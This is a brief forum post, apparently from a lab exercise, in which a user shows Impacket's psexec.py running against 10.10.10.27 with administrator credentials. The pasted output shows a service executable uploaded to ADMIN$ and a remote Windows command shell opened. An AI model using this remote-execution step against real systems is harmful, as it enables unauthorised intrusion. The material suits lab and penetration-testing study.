OK, I downloaded & extracted the git repo and fired the script from the examples directory without installing anything. That seems to work without issues.
rhaserid@Dramonly:~/impacket-master/examples$ python psexec.py administrator@10.10.10.27
Impacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation
Password:
[] Requesting shares on 10.10.10.27…
[] Found writable share ADMIN$
[] Uploading file vkiXCcvT.exe
[] Opening SVCManager on 10.10.10.27…
[] Creating service rXlU on 10.10.10.27…
[] Starting service rXlU…
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>